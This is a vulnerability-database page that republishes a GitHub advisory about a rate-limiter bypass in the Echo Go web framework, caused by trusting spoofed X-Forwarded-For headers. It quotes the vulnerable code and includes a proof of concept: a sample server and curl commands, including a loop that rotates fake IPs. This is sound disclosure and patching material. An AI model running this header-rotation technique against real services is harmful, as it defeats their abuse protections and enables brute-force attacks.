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Response snapshot Oct 29, 2026, 01:26 UTC

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VulnerabilityCVE-2026-118653

Echo has Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration

When echo.New() is used without explicitly setting Echo#IPExtractor, the RealIP() method falls back to reading the client-supplied X-Forwarded-For (or X-Real-IP) header without any proxy-origin validation. The default RateLimiter() middleware derives its per-client identifier from ctx.

Published Updated

At a glance

Exploited
Not known
Severity
5.3 Medium (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: github.com/labstack/echo/v5: 5.1.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-246p-cpwv-v3jq (opens a new tab)

What happened

Summary

When echo.New() is used without explicitly setting Echo#IPExtractor, the RealIP() method falls back to reading the client-supplied X-Forwarded-For (or X-Real-IP) header without any proxy-origin validation. The default RateLimiter() middleware derives its per-client identifier from ctx.RealIP(), so an attacker can rotate arbitrary values in the X-Forwarded-For header on each request to obtain a fresh rate-limit bucket and bypass IP-based throttling entirely.

Affected Component

- context.go — (*Context).RealIP() (lines 186–208), legacy fallback branch (lines 190–200) - middleware/rate_limiter.go — DefaultRateLimiterConfig.IdentifierExtractor (lines 46–58); RateLimiter() (lines 71–76) - echo.go — New() (lines 326–343), IPExtractor left nil by default

Continue reading

RealIP() unconditionally trusts X-Forwarded-For when IPExtractor is unset

Context.RealIP() (context.go:186-208) first checks c.echo.IPExtractor. When this field is nil (the default for echo.New()), it falls through to legacy behavior and returns the first IP from the X-Forwarded-For header — the position an attacker has full control over:

// context.go:186-200
func (c *Context) RealIP() string {
 if c.echo != nil && c.echo.IPExtractor != nil {
 return c.echo.IPExtractor(c.request)
 }
 // Fall back to legacy behavior
 if ip := c.request.Header.Get(HeaderXForwardedFor); ip != "" {
 i := strings.IndexAny(ip, ",")
 if i > 0 {
 xffip := strings.TrimSpace(ip[:i])
 xffip = strings.TrimPrefix(xffip, "[")
 xffip = strings.TrimSuffix(xffip, "]")
 return xffip // ← attacker-controlled first IP
 }
 return ip
 }
 if ip := c.request.Header.Get(HeaderXRealIP); ip != "" {
 ...
 return ip // ← also attacker-controlled
 }
 ra, _, _ := net.SplitHostPort(c.request.RemoteAddr)
 return ra
}

Rate limiter default identifier extractor calls RealIP() unconditionally

DefaultRateLimiterConfig (rate_limiter.go:46-58) sets the identifier extractor to ctx.RealIP() with no guard for whether a safe IPExtractor is configured:

// rate_limiter.go:46-58
var DefaultRateLimiterConfig = RateLimiterConfig{
 Skipper: DefaultSkipper,
 IdentifierExtractor: func(ctx *echo.Context) (string, error) {
 id := ctx.RealIP() // ← reads attacker-controlled header
 return id, nil
 },
 ...
}

RateLimiter(store) (rate_limiter.go:71-76) copies DefaultRateLimiterConfig directly:

// rate_limiter.go:71-76
func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc {
 config := DefaultRateLimiterConfig
 config.Store = store
 return RateLimiterWithConfig(config)
}

The result is that the most common usage pattern — e.GET("/path", h, middleware.RateLimiter(store)) — produces a rate limiter whose per-client identifier is fully controlled by the requester.

Framework acknowledges the issue for IP extraction but the rate limiter carries no warning

ip.go:27 explicitly states the default is insecure:

> "Note: if you don't set Echo#IPExtractor explicitly, Echo fallback to legacy behavior, which is not a good choice."

And ip.go:117-119:

> "In default behavior, Echo sees all of first XFF header, X-Real-IP header and IP from network layer. As you might already notice, after reading this article, this is not good. Sole reason this is default is just backward compatibility."

The IPExtractor mechanism (ExtractIPDirect(), ExtractIPFromXFFHeader(), ExtractIPFromRealIPHeader()) in ip.go exists precisely to close this gap. However, the RateLimiter() function and DefaultRateLimiterConfig have no corresponding warning and make no attempt to detect or flag that IPExtractor is unset, leaving operators who follow the standard rate limiter example silently exposed.

The test TestRateLimiterWithConfig_defaultConfig (rate_limiter_test.go:181-226) itself drives the rate limiter by setting X-Real-IP directly on the test request — demonstrating that the identifier is freely injectable without comment or mitigation.

Full execution chain

1. Server starts with echo.New() (no IPExtractor set) and e.GET("/limited", h, middleware.RateLimiter(store)) 2. Attacker sends GET /limited with header X-Forwarded-For: 1.2.3.4 — rate bucket for 1.2.3.4 consumed 3. Attacker sends GET /limited again with X-Forwarded-For: 1.2.3.4 — second token consumed; if burst is 1, next request would be 429 4. Attacker sends GET /limited with X-Forwarded-For: 5.6.7.

8 — new bucket created for 5.6.7.8, 200 OK returned 5. Attacker repeats step 4 with arbitrary IPs — rate limit never triggers; unlimited requests served

Proof of Concept

package main

import (
 "net/http"
 echo "github.com/labstack/echo/v5"
 "github.com/labstack/echo/v5/middleware"
)

func main() {
 e := echo.New()
 // NOTE: IPExtractor deliberately NOT set — this is the default
 store := middleware.NewRateLimiterMemoryStore(1)
 e.GET("/limited", func(c *echo.Context) error {
 return c.String(http.StatusOK, "ok")
 }, middleware.RateLimiter(store))
 e.Logger.Fatal(e.Start(":1324"))
}
# First request with IP 1.1.1.1 — consumes burst token
curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited
# HTTP/1.1 200 OK

# Second request with same IP — rate limited
curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited
# HTTP/1.1 429 Too Many Requests

# Third request with DIFFERENT spoofed IP — bypass: new bucket, 200 OK
curl -i -H 'X-Forwarded-For: 2.2.2.2' http://127.0.0.1:1324/limited
# HTTP/1.1 200 OK

# Repeat indefinitely with rotating IPs — rate limit never triggers
for i in $(seq 1 100); do
 curl -s -o /dev/null -w "%{http_code}\n" -H "X-Forwarded-For: 10.0.0.$i" http://127.0.0.1:1324/limited
done
# 200 200 200 ... (all 200, never 429)

Impact

- Attackers can make unlimited requests to any endpoint protected by middleware.RateLimiter() using the default configuration by rotating the X-Forwarded-For header - Brute-force attac

Affected package ranges reported by GitHub: github.com/labstack/echo/v5: < 5.1.0 github.com/labstack/echo/v4: >= 4.0.0, <= 4.16.2

Scores and how they were measured

CVSS base severity

5.3

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

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Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-246p-cpwv-v3jq (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-246p-cpwv-v3jq, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 28). Echo has Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration (CVE-2026-118653). https://kevwire.com/record/CVE-2026-118653

MLA

"Echo has Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration (CVE-2026-118653)." KEVWire, 28 Oct. 2026, kevwire.com/record/CVE-2026-118653.

Chicago

KEVWire. "Echo has Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration (CVE-2026-118653)." Last modified October 28, 2026. https://kevwire.com/record/CVE-2026-118653.

Evidence summary (plain text)

Echo has Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration (Oct 28, 2026).
When echo.New() is used without explicitly setting Echo#IPExtractor, the RealIP() method falls back to reading the client-supplied X-Forwarded-For (or X-Real-IP) header without any proxy-origin validation. The default RateLimiter() middleware derives its per-client identifier from ctx.RealIP(), so an attacker can rotate arbitrary values in the X-Forwarded-For header on each request to obtain a fresh rate-limit bucket and bypass IP-based throttling entirely.
CVSS 5.3 (version 3.1; evidence as of Oct 28, 2026; https://github.com/advisories/GHSA-246p-cpwv-v3jq).
Sources:
GitHub-reviewed advisory GHSA-246p-cpwv-v3jq: https://github.com/advisories/GHSA-246p-cpwv-v3jq
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-118653.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 29, 2026, 00:55 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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